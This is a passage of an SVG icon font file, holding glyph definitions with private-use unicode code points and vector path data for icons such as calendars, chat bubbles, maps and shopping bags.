d="M138 1408h197q-70 -64 -126 -149q-36 -56 -59 -115t-30 -125.5t-8.5 -120t10.5 -132t21 -126t28 -136.5q4 -19 6 -28q51 -238 81 -329q57 -171 152 -275h-272q-48 0 -82 34t-34 82v1304q0 48 34 82t82 34zM1346 1408h308q48 0 82 -34t34 -82v-1304q0 -48 -34 -82t-82 -34
h-178q212 210 196 565l-469 -101q-2 -45 -12 -82t-31 -72t-59.5 -59.5t-93.5 -36.5q-123 -26 -199 40q-32 27 -53 61t-51.5 129t-64.5 258q-35 163 -45.5 263t-5.5 139t23 77q20 41 62.5 73t102.5 45q45 12 83.5 6.5t67 -17t54 -35t43 -48t34.5 -56.5l468 100
q-68 175 -180 287z" />
    <glyph glyph-name="_584" unicode="&#xf26e;" 
d="M1401 -11l-6 -6q-113 -113 -259 -175q-154 -64 -317 -64q-165 0 -317 64q-148 63 -259 175q-113 112 -175 258q-42 103 -54 189q-4 28 48 36q51 8 56 -20q1 -1 1 -4q18 -90 46 -159q50 -124 152 -226q98 -98 226 -152q132 -56 276 -56q143 0 276 56q128 55 225 152l6 6
q10 10 25 6q12 -3 33 -22q36 -37 17 -58zM929 604l-66 -66l63 -63q21 -21 -7 -49q-17 -17 -32 -17q-10 0 -19 10l-62 61l-66 -66q-5 -5 -15 -5q-15 0 -31 16l-2 2q-18 15 -18 29q0 7 8 17l66 65l-66 66q-16 16 14 45q18 18 31 18q6 0 13 -5l65 -66l65 65q18 17 48 -13
q27 -27 11 -44zM1400 547q0 -118 -46 -228q-45 -105 -126 -186q-80 -80 -187 -126t-228 -46t-228 46t-187 126q-82 82 -125 186q-15 33 -15 40h-1q-9 27 43 44q50 16 60 -12q37 -99 97 -167h1v339v2q3 136 102 232q105 103 253 103q147 0 251 -103t104 -249
q0 -147 -104.5 -251t-250.5 -104q-58 0 -112 16q-28 11 -13 61q16 51 44 43l14 -3q14 -3 33 -6t30 -3q104 0 176 71.5t72 174.5q0 101 -72 171q-71 71 -175 71q-107 0 -178 -80q-64 -72 -64 -160v-413q110 -67 242 -67q96 0 185 36.5t156 103.5t103.5 155t36.5 183
q0 198 -141 339q-140 140 -339 140q-200 0 -340 -140q-53 -53 -77 -87l-2 -2q-8 -11 -13 -15.5t-21.5 -9.5t-38.5 3q-21 5 -36.5 16.5t-15.5 26.5v680q0 15 10.5 26.5t27.5 11.5h877q30 0 30 -55t-30 -55h-811v-483h1q40 42 102 84t108 61q109 46 231 46q121 0 228 -46
t187 -126q81 -81 126 -186q46 -112 46 -229zM1369 1128q9 -8 9 -18t-5.5 -18t-16.5 -21q-26 -26 -39 -26q-9 0 -16 7q-106 91 -207 133q-128 56 -276 56q-133 0 -262 -49q-27 -10 -45 37q-9 25 -8 38q3 16 16 20q130 57 299 57q164 0 316 -64q137 -58 235 -152z" />
    <glyph glyph-name="_585" unicode="&#xf270;" horiz-adv-x="1792" 
d="M1551 60q15 6 26 3t11 -17.5t-15 -33.5q-13 -16 -44 -43.5t-95.5 -68t-141 -74t-188 -58t-229.5 -24.5q-119 0 -238 31t-209 76.5t-172.5 104t-132.5 105t-84 87.5q-8 9 -10 16.5t1 12t8 7t11.5 2t11.5 -4.5q192 -117 300 -166q389 -176 799 -90q190 40 391 135z
M1758 175q11 -16 2.5 -69.5t-28.5 -102.5q-34 -83 -85 -124q-17 -14 -26 -9t0 24q21 45 44.5 121.5t6.5 98.5q-5 7 -15.5 11.5t-27 6t-29.5 2.5t-35 0t-31.5 -2t-31 -3t-22.5 -2q-6 -1 -13 -1.5t-11 -1t-8.5 -1t-7 -0.5h-5.5h-4.5t-3 0.5t-2 1.5l-1.5 3q-6 16 47 40t103 30
q46 7 108 1t76 -24zM1364 618q0 -31 13.5 -64t32 -58t37.5 -46t33 -32l13 -11l-227 -224q-40 37 -79 75.5t-58 58.5l-19 20q-11 11 -25 33q-38 -59 -97.5 -102.5t-127.5 -63.5t-140 -23t-137.5 21t-117.5 65.5t-83 113t-31 162.5q0 84 28 154t72 116.5t106.5 83t122.5 57
t130 34.5t119.5 18.5t99.5 6.5v127q0 65 -21 97q-34 53 -121 53q-6 0 -16.5 -1t-40.5 -12t-56 -29.5t-56 -59.5t-48 -96l-294 27q0 60 22 119t67 113t108 95t151.5 65.5t190.5 24.5q100 0 181 -25t129.5 -61.5t81 -83t45 -86t12.5 -73.5v-589zM692 597q0 -86 70 -133
q66 -44 139 -22q84 25 114 123q14 45 14 101v162q-59 -2 -111 -12t-106.5 -33.5t-87 -71t-32.5 -114.5z" />
    <glyph glyph-name="_586" unicode="&#xf271;" horiz-adv-x="1792" 
d="M1536 1280q52 0 90 -38t38 -90v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128zM1152 1376v-288q0 -14 9 -23t23 -9
h64q14 0 23 9t9 23v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM384 1376v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23zM1536 -128v1024h-1408v-1024h1408zM896 448h224q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-224
v-224q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v224h-224q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v224q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-224z" />
    <glyph glyph-name="_587" unicode="&#xf272;" horiz-adv-x="1792" 
d="M1152 416v-64q0 -14 -9 -23t-23 -9h-576q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h576q14 0 23 -9t9 -23zM128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23
t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47
t47 -113v-96h128q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_588" unicode="&#xf273;" horiz-adv-x="1792" 
d="M1111 151l-46 -46q-9 -9 -22 -9t-23 9l-188 189l-188 -189q-10 -9 -23 -9t-22 9l-46 46q-9 9 -9 22t9 23l189 188l-189 188q-9 10 -9 23t9 22l46 46q9 9 22 9t23 -9l188 -188l188 188q10 9 23 9t22 -9l46 -46q9 -9 9 -22t-9 -23l-188 -188l188 -188q9 -10 9 -23t-9 -22z
M128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280
q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_589" unicode="&#xf274;" horiz-adv-x="1792" 
d="M1303 572l-512 -512q-10 -9 -23 -9t-23 9l-288 288q-9 10 -9 23t9 22l46 46q9 9 22 9t23 -9l220 -220l444 444q10 9 23 9t22 -9l46 -46q9 -9 9 -22t-9 -23zM128 -128h1408v1024h-1408v-1024zM512 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23
t23 -9h64q14 0 23 9t9 23zM1280 1088v288q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-288q0 -14 9 -23t23 -9h64q14 0 23 9t9 23zM1664 1152v-1280q0 -52 -38 -90t-90 -38h-1408q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h128v96q0 66 47 113t113 47h64q66 0 113 -47
t47 -113v-96h384v96q0 66 47 113t113 47h64q66 0 113 -47t47 -113v-96h128q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_590" unicode="&#xf275;" horiz-adv-x="1792" 
d="M448 1536q26 0 45 -19t19 -45v-891l536 429q17 14 40 14q26 0 45 -19t19 -45v-379l536 429q17 14 40 14q26 0 45 -19t19 -45v-1152q0 -26 -19 -45t-45 -19h-1664q-26 0 -45 19t-19 45v1664q0 26 19 45t45 19h384z" />
    <glyph glyph-name="_591" unicode="&#xf276;" horiz-adv-x="1024" 
d="M512 448q66 0 128 15v-655q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v655q62 -15 128 -15zM512 1536q212 0 362 -150t150 -362t-150 -362t-362 -150t-362 150t-150 362t150 362t362 150zM512 1312q14 0 23 9t9 23t-9 23t-23 9q-146 0 -249 -103t-103 -249
q0 -14 9 -23t23 -9t23 9t9 23q0 119 84.5 203.5t203.5 84.5z" />
    <glyph glyph-name="_592" unicode="&#xf277;" horiz-adv-x="1792" 
d="M1745 1239q10 -10 10 -23t-10 -23l-141 -141q-28 -28 -68 -28h-1344q-26 0 -45 19t-19 45v256q0 26 19 45t45 19h576v64q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-64h512q40 0 68 -28zM768 320h256v-512q0 -26 -19 -45t-45 -19h-128q-26 0 -45 19t-19 45v512zM1600 768
q26 0 45 -19t19 -45v-256q0 -26 -19 -45t-45 -19h-1344q-40 0 -68 28l-141 141q-10 10 -10 23t10 23l141 141q28 28 68 28h512v192h256v-192h576z" />
    <glyph glyph-name="_593" unicode="&#xf278;" horiz-adv-x="2048" 
d="M2020 1525q28 -20 28 -53v-1408q0 -20 -11 -36t-29 -23l-640 -256q-24 -11 -48 0l-616 246l-616 -246q-10 -5 -24 -5q-19 0 -36 11q-28 20 -28 53v1408q0 20 11 36t29 23l640 256q24 11 48 0l616 -246l616 246q32 13 60 -6zM736 1390v-1270l576 -230v1270zM128 1173
v-1270l544 217v1270zM1920 107v1270l-544 -217v-1270z" />
    <glyph glyph-name="_594" unicode="&#xf279;" horiz-adv-x="1792" 
d="M512 1536q13 0 22.5 -9.5t9.5 -22.5v-1472q0 -20 -17 -28l-480 -256q-7 -4 -15 -4q-13 0 -22.5 9.5t-9.5 22.5v1472q0 20 17 28l480 256q7 4 15 4zM1760 1536q13 0 22.5 -9.5t9.5 -22.5v-1472q0 -20 -17 -28l-480 -256q-7 -4 -15 -4q-13 0 -22.5 9.5t-9.5 22.5v1472
q0 20 17 28l480 256q7 4 15 4zM640 1536q8 0 14 -3l512 -256q18 -10 18 -29v-1472q0 -13 -9.5 -22.5t-22.5 -9.5q-8 0 -14 3l-512 256q-18 10 -18 29v1472q0 13 9.5 22.5t22.5 9.5z" />
    <glyph glyph-name="_595" unicode="&#xf27a;" horiz-adv-x="1792" 
d="M640 640q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1024 640q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1408 640q0 53 -37.5 90.5t-90.5 37.5
t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1792 640q0 -174 -120 -321.5t-326 -233t-450 -85.5q-110 0 -211 18q-173 -173 -435 -229q-52 -10 -86 -13q-12 -1 -22 6t-13 18q-4 15 20 37q5 5 23.5 21.5t25.5 23.5t23.5 25.5t24 31.5t20.5 37
t20 48t14.5 57.5t12.5 72.5q-146 90 -229.5 216.5t-83.5 269.5q0 174 120 321.5t326 233t450 85.5t450 -85.5t326 -233t120 -321.5z" />
    <glyph glyph-name="_596" unicode="&#xf27b;" horiz-adv-x="1792" 
d="M640 640q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1024 640q0 -53 -37.5 -90.5t-90.5 -37.5t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1408 640q0 -53 -37.5 -90.5t-90.5 -37.5
t-90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM896 1152q-204 0 -381.5 -69.5t-282 -187.5t-104.5 -255q0 -112 71.5 -213.5t201.5 -175.5l87 -50l-27 -96q-24 -91 -70 -172q152 63 275 171l43 38l57 -6q69 -8 130 -8q204 0 381.5 69.5t282 187.5
t104.5 255t-104.5 255t-282 187.5t-381.5 69.5zM1792 640q0 -174 -120 -321.5t-326 -233t-450 -85.5q-70 0 -145 8q-198 -175 -460 -242q-49 -14 -114 -22h-5q-15 0 -27 10.5t-16 27.5v1q-3 4 -0.5 12t2 10t4.5 9.5l6 9t7 8.5t8 9q7 8 31 34.5t34.5 38t31 39.5t32.5 51
t27 59t26 76q-157 89 -247.5 220t-90.5 281q0 130 71 248.5t191 204.5t286 136.5t348 50.5t348 -50.5t286 -136.5t191 -204.5t71 -248.5z" />
    <glyph glyph-name="_597" unicode="&#xf27c;" horiz-adv-x="1024" 
d="M512 345l512 295v-591l-512 -296v592zM0 640v-591l512 296zM512 1527v-591l-512 -296v591zM512 936l512 295v-591z" />
    <glyph glyph-name="_598" unicode="&#xf27d;" horiz-adv-x="1792" 
d="M1709 1018q-10 -236 -332 -651q-333 -431 -562 -431q-142 0 -240 263q-44 160 -132 482q-72 262 -157 262q-18 0 -127 -76l-77 98q24 21 108 96.5t130 115.5q156 138 241 146q95 9 153 -55.5t81 -203.5q44 -287 66 -373q55 -249 120 -249q51 0 154 161q101 161 109 246
q13 139 -109 139q-57 0 -121 -26q120 393 459 382q251 -8 236 -326z" />
    <glyph glyph-name="f27e" unicode="&#xf27e;" 
d="M0 1408h1536v-1536h-1536v1536zM1085 293l-221 631l221 297h-634l221 -297l-221 -631l317 -304z" />
    <glyph glyph-name="uniF280" unicode="&#xf280;" 
d="M0 1408h1536v-1536h-1536v1536zM908 1088l-12 -33l75 -83l-31 -114l25 -25l107 57l107 -57l25 25l-31 114l75 83l-12 33h-95l-53 96h-32l-53 -96h-95zM641 925q32 0 44.5 -16t11.5 -63l174 21q0 55 -17.5 92.5t-50.5 56t-69 25.5t-85 7q-133 0 -199 -57.5t-66 -182.5v-72
h-96v-128h76q20 0 20 -8v-382q0 -14 -5 -20t-18 -7l-73 -7v-88h448v86l-149 14q-6 1 -8.5 1.5t-3.5 2.5t-0.5 4t1 7t0.5 10v387h191l38 128h-231q-6 0 -2 6t4 9v80q0 27 1.5 40.5t7.5 28t19.5 20t36.5 5.5zM1248 96v86l-54 9q-7 1 -9.5 2.5t-2.5 3t1 7.5t1 12v520h-275
l-23 -101l83 -22q23 -7 23 -27v-370q0 -14 -6 -18.5t-20 -6.5l-70 -9v-86h352z" />
    <glyph glyph-name="uniF281" unicode="&#xf281;" horiz-adv-x="1792" 
d="M1792 690q0 -58 -29.5 -105.5t-79.5 -72.5q12 -46 12 -96q0 -155 -106.5 -287t-290.5 -208.5t-400 -76.5t-399.5 76.5t-290 208.5t-106.5 287q0 47 11 94q-51 25 -82 73.5t-31 106.5q0 82 58 140.5t141 58.5q85 0 145 -63q218 152 515 162l116 521q3 13 15 21t26 5
l369 -81q18 37 54 59.5t79 22.5q62 0 106 -43.5t44 -105.5t-44 -106t-106 -44t-105.5 43.5t-43.5 105.5l-334 74l-104 -472q300 -9 519 -160q58 61 143 61q83 0 141 -58.5t58 -140.5zM418 491q0 -62 43.5 -106t105.5 -44t106 44t44 106t-44 105.5t-106 43.5q-61 0 -105 -44
t-44 -105zM1228 136q11 11 11 26t-11 26q-10 10 -25 10t-26 -10q-41 -42 -121 -62t-160 -20t-160 20t-121 62q-11 10 -26 10t-25 -10q-11 -10 -11 -25.5t11 -26.5q43 -43 118.5 -68t122.5 -29.5t91 -4.5t91 4.5t122.5 29.5t118.5 68zM1225 341q62 0 105.5 44t43.5 106
q0 61 -44 105t-105 44q-62 0 -106 -43.5t-44 -105.5t44 -106t106 -44z" />
    <glyph glyph-name="_602" unicode="&#xf282;" horiz-adv-x="1792" 
d="M69 741h1q16 126 58.5 241.5t115 217t167.5 176t223.5 117.5t276.5 43q231 0 414 -105.5t294 -303.5q104 -187 104 -442v-188h-1125q1 -111 53.5 -192.5t136.5 -122.5t189.5 -57t213 -3t208 46.5t173.5 84.5v-377q-92 -55 -229.5 -92t-312.5 -38t-316 53
q-189 73 -311.5 249t-124.5 372q-3 242 111 412t325 268q-48 -60 -78 -125.5t-46 -159.5h635q8 77 -8 140t-47 101.5t-70.5 66.5t-80.5 41t-75 20.5t-56 8.5l-22 1q-135 -5 -259.5 -44.5t-223.5 -104.5t-176 -140.5t-138 -163.5z" />
    <glyph glyph-name="_603" unicode="&#xf283;" horiz-adv-x="2304" 
d="M0 32v608h2304v-608q0 -66 -47 -113t-113 -47h-1984q-66 0 -113 47t-47 113zM640 256v-128h384v128h-384zM256 256v-128h256v128h-256zM2144 1408q66 0 113 -47t47 -113v-224h-2304v224q0 66 47 113t113 47h1984z" />
    <glyph glyph-name="_604" unicode="&#xf284;" horiz-adv-x="1792" 
d="M1584 246l-218 111q-74 -120 -196.5 -189t-263.5 -69q-147 0 -271 72t-196 196t-72 270q0 110 42.5 209.5t115 172t172 115t209.5 42.5q131 0 247.5 -60.5t192.5 -168.5l215 125q-110 169 -286.5 265t-378.5 96q-161 0 -308 -63t-253 -169t-169 -253t-63 -308t63 -308
t169 -253t253 -169t308 -63q213 0 397.5 107t290.5 292zM1030 643l693 -352q-116 -253 -334.5 -400t-492.5 -147q-182 0 -348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71q260 0 470.5 -133.5t335.5 -366.5zM1543 640h-39v-160h-96v352h136q32 0 54.5 -20
t28.5 -48t1 -56t-27.5 -48t-57.5 -20z" />
    <glyph glyph-name="uniF285" unicode="&#xf285;" horiz-adv-x="1792" 
d="M1427 827l-614 386l92 151h855zM405 562l-184 116v858l1183 -743zM1424 697l147 -95v-858l-532 335zM1387 718l-500 -802h-855l356 571z" />
    <glyph glyph-name="uniF286" unicode="&#xf286;" horiz-adv-x="1792" 
d="M640 528v224q0 16 -16 16h-96q-16 0 -16 -16v-224q0 -16 16 -16h96q16 0 16 16zM1152 528v224q0 16 -16 16h-96q-16 0 -16 -16v-224q0 -16 16 -16h96q16 0 16 16zM1664 496v-752h-640v320q0 80 -56 136t-136 56t-136 -56t-56 -136v-320h-640v752q0 16 16 16h96
q16 0 16 -16v-112h128v624q0 16 16 16h96q16 0 16 -16v-112h128v112q0 16 16 16h96q16 0 16 -16v-112h128v112q0 6 2.5 9.5t8.5 5t9.5 2t11.5 0t9 -0.5v391q-32 15 -32 50q0 23 16.5 39t38.5 16t38.5 -16t16.5 -39q0 -35 -32 -50v-17q45 10 83 10q21 0 59.5 -7.5t54.5 -7.5
q17 0 47 7.5t37 7.5q16 0 16 -16v-210q0 -15 -35 -21.5t-62 -6.5q-18 0 -54.5 7.5t-55.5 7.5q-40 0 -90 -12v-133q1 0 9 0.5t11.5 0t9.5 -2t8.5 -5t2.5 -9.5v-112h128v112q0 16 16 16h96q16 0 16 -16v-112h128v112q0 16 16 16h96q16 0 16 -16v-624h128v112q0 16 16 16h96
q16 0 16 -16z" />
    <glyph glyph-name="_607" unicode="&#xf287;" horiz-adv-x="2304" 
d="M2288 731q16 -8 16 -27t-16 -27l-320 -192q-8 -5 -16 -5q-9 0 -16 4q-16 10 -16 28v128h-858q37 -58 83 -165q16 -37 24.5 -55t24 -49t27 -47t27 -34t31.5 -26t33 -8h96v96q0 14 9 23t23 9h320q14 0 23 -9t9 -23v-320q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23v96h-96
q-32 0 -61 10t-51 23.5t-45 40.5t-37 46t-33.5 57t-28.5 57.5t-28 60.5q-23 53 -37 81.5t-36 65t-44.5 53.5t-46.5 17h-360q-22 -84 -91 -138t-157 -54q-106 0 -181 75t-75 181t75 181t181 75q88 0 157 -54t91 -138h104q24 0 46.5 17t44.5 53.5t36 65t37 81.5q19 41 28 60.5
t28.5 57.5t33.5 57t37 46t45 40.5t51 23.5t61 10h107q21 57 70 92.5t111 35.5q80 0 136 -56t56 -136t-56 -136t-136 -56q-62 0 -111 35.5t-70 92.5h-107q-17 0 -33 -8t-31.5 -26t-27 -34t-27 -47t-24 -49t-24.5 -55q-46 -107 -83 -165h1114v128q0 18 16 28t32 -1z" />
    <glyph glyph-name="_608" unicode="&#xf288;" horiz-adv-x="1792" 
d="M1150 774q0 -56 -39.5 -95t-95.5 -39h-253v269h253q56 0 95.5 -39.5t39.5 -95.5zM1329 774q0 130 -91.5 222t-222.5 92h-433v-896h180v269h253q130 0 222 91.5t92 221.5zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348
t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="_609" unicode="&#xf289;" horiz-adv-x="2304" 
d="M1645 438q0 59 -34 106.5t-87 68.5q-7 -45 -23 -92q-7 -24 -27.5 -38t-44.5 -14q-12 0 -24 3q-31 10 -45 38.5t-4 58.5q23 71 23 143q0 123 -61 227.5t-166 165.5t-228 61q-134 0 -247 -73t-167 -194q108 -28 188 -106q22 -23 22 -55t-22 -54t-54 -22t-55 22
q-75 75 -180 75q-106 0 -181 -74.5t-75 -180.5t75 -180.5t181 -74.5h1046q79 0 134.5 55.5t55.5 133.5zM1798 438q0 -142 -100.5 -242t-242.5 -100h-1046q-169 0 -289 119.5t-120 288.5q0 153 100 267t249 136q62 184 221 298t354 114q235 0 408.5 -158.5t196.5 -389.5
q116 -25 192.5 -118.5t76.5 -214.5zM2048 438q0 -175 -97 -319q-23 -33 -64 -33q-24 0 -43 13q-26 17 -32 48.5t12 57.5q71 104 71 233t-71 233q-18 26 -12 57t32 49t57.5 11.5t49.5 -32.5q97 -142 97 -318zM2304 438q0 -244 -134 -443q-23 -34 -64 -34q-23 0 -42 13
q-26 18 -32.5 49t11.5 57q108 164 108 358q0 195 -108 357q-18 26 -11.5 57.5t32.5 48.5q26 18 57 12t49 -33q134 -198 134 -442z" />
    <glyph glyph-name="_610" unicode="&#xf28a;" 
d="M1500 -13q0 -89 -63 -152.5t-153 -63.5t-153.5 63.5t-63.5 152.5q0 90 63.5 153.5t153.5 63.5t153 -63.5t63 -153.5zM1267 268q-115 -15 -192.5 -102.5t-77.5 -205.5q0 -74 33 -138q-146 -78 -379 -78q-109 0 -201 21t-153.5 54.5t-110.5 76.5t-76 85t-44.5 83
t-23.5 66.5t-6 39.5q0 19 4.5 42.5t18.5 56t36.5 58t64 43.5t94.5 18t94 -17.5t63 -41t35.5 -53t17.5 -49t4 -33.5q0 -34 -23 -81q28 -27 82 -42t93 -17l40 -1q115 0 190 51t75 133q0 26 -9 48.5t-31.5 44.5t-49.5 41t-74 44t-93.5 47.5t-119.5 56.5q-28 13 -43 20
q-116 55 -187 100t-122.5 102t-72 125.5t-20.5 162.5q0 78 20.5 150t66 137.5t112.5 114t166.5 77t221.5 28.5q120 0 220 -26t164.5 -67t109.5 -94t64 -105.5t19 -103.5q0 -46 -15 -82.5t-36.5 -58t-48.5 -36t-49 -19.5t-39 -5h-8h-32t-39 5t-44 14t-41 28t-37 46t-24 70.5
t-10 97.5q-15 16 -59 25.5t-81 10.5l-37 1q-68 0 -117.5 -31t-70.5 -70t-21 -76q0 -24 5 -43t24 -46t53 -51t97 -53.5t150 -58.5q76 -25 138.5 -53.5t109 -55.5t83 -59t60.5 -59.5t41 -62.5t26.5 -62t14.5 -63.5t6 -62t1 -62.5z" />
    <glyph glyph-name="_611" unicode="&#xf28b;" 
d="M704 352v576q0 14 -9 23t-23 9h-256q-14 0 -23 -9t-9 -23v-576q0 -14 9 -23t23 -9h256q14 0 23 9t9 23zM1152 352v576q0 14 -9 23t-23 9h-256q-14 0 -23 -9t-9 -23v-576q0 -14 9 -23t23 -9h256q14 0 23 9t9 23zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103
t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="_612" unicode="&#xf28c;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM768 96q148 0 273 73t198 198t73 273t-73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273
t73 -273t198 -198t273 -73zM864 320q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-192zM480 320q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-192z" />
    <glyph glyph-name="_613" unicode="&#xf28d;" 
d="M1088 352v576q0 14 -9 23t-23 9h-576q-14 0 -23 -9t-9 -23v-576q0 -14 9 -23t23 -9h576q14 0 23 9t9 23zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5
t103 -385.5z" />
    <glyph glyph-name="_614" unicode="&#xf28e;" 
d="M768 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM768 96q148 0 273 73t198 198t73 273t-73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273
t73 -273t198 -198t273 -73zM480 320q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h576q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-576z" />
    <glyph glyph-name="_615" unicode="&#xf290;" horiz-adv-x="1792" 
d="M1757 128l35 -313q3 -28 -16 -50q-19 -21 -48 -21h-1664q-29 0 -48 21q-19 22 -16 50l35 313h1722zM1664 967l86 -775h-1708l86 775q3 24 21 40.5t43 16.5h256v-128q0 -53 37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5v128h384v-128q0 -53 37.5 -90.5t90.5 -37.5
t90.5 37.5t37.5 90.5v128h256q25 0 43 -16.5t21 -40.5zM1280 1152v-256q0 -26 -19 -45t-45 -19t-45 19t-19 45v256q0 106 -75 181t-181 75t-181 -75t-75 -181v-256q0 -26 -19 -45t-45 -19t-45 19t-19 45v256q0 159 112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5z" />
    <glyph glyph-name="_616" unicode="&#xf291;" horiz-adv-x="2048" 
d="M1920 768q53 0 90.5 -37.5t37.5 -90.5t-37.5 -90.5t-90.5 -37.5h-15l-115 -662q-8 -46 -44 -76t-82 -30h-1280q-46 0 -82 30t-44 76l-115 662h-15q-53 0 -90.5 37.5t-37.5 90.5t37.5 90.5t90.5 37.5h1792zM485 -32q26 2 43.5 22.5t15.5 46.5l-32 416q-2 26 -22.5 43.5
t-46.5 15.5t-43.5 -22.5t-15.5 -46.5l32 -416q2 -25 20.5 -42t43.5 -17h5zM896 32v416q0 26 -19 45t-45 19t-45 -19t-19 -45v-416q0 -26 19 -45t45 -19t45 19t19 45zM1280 32v416q0 26 -19 45t-45 19t-45 -19t-19 -45v-416q0 -26 19 -45t45 -19t45 19t19 45zM1632 27l32 416
q2 26 -15.5 46.5t-43.5 22.5t-46.5 -15.5t-22.5 -43.5l-32 -416q-2 -26 15.5 -46.5t43.5 -22.5h5q25 0 43.5 17t20.5 42zM476 1244l-93 -412h-132l101 441q19 88 89 143.5t160 55.5h167q0 26 19 45t45 19h384q26 0 45 -19t19 -45h167q90 0 160 -55.5t89 -143.5l101 -441
h-132l-93 412q-11 44 -45.5 72t-79.5 28h-167q0 -26 -19 -45t-45 -19h-384q-26 0 -45 19t-19 45h-167q-45 0 -79.5 -28t-45.5 -72z" />
    <glyph glyph-name="_617" unicode="&#xf292;" horiz-adv-x="1792" 
d="M991 512l64 256h-254l-64 -256h254zM1759 1016l-56 -224q-7 -24 -31 -24h-327l-64 -256h311q15 0 25 -12q10 -14 6 -28l-56 -224q-5 -24 -31 -24h-327l-81 -328q-7 -24 -31 -24h-224q-16 0 -26 12q-9 12 -6 28l78 312h-254l-81 -328q-7 -24 -31 -24h-225q-15 0 -25 12
q-9 12 -6 28l78 312h-311q-15 0 -25 12q-9 12 -6 28l56 224q7 24 31 24h327l64 256h-311q-15 0 -25 12q-10 14 -6 28l56 224q5 24 31 24h327l81 328q7 24 32 24h224q15 0 25 -12q9 -12 6 -28l-78 -312h254l81 328q7 24 32 24h224q15 0 25 -12q9 -12 6 -28l-78 -312h311
q15 0 25 -12q9 -12 6 -28z" />
    <glyph glyph-name="_618" unicode="&#xf293;" 
d="M841 483l148 -148l-149 -149zM840 1094l149 -149l-148 -148zM710 -130l464 464l-306 306l306 306l-464 464v-611l-255 255l-93 -93l320 -321l-320 -321l93 -93l255 255v-611zM1429 640q0 -209 -32 -365.5t-87.5 -257t-140.5 -162.5t-181.5 -86.5t-219.5 -24.5
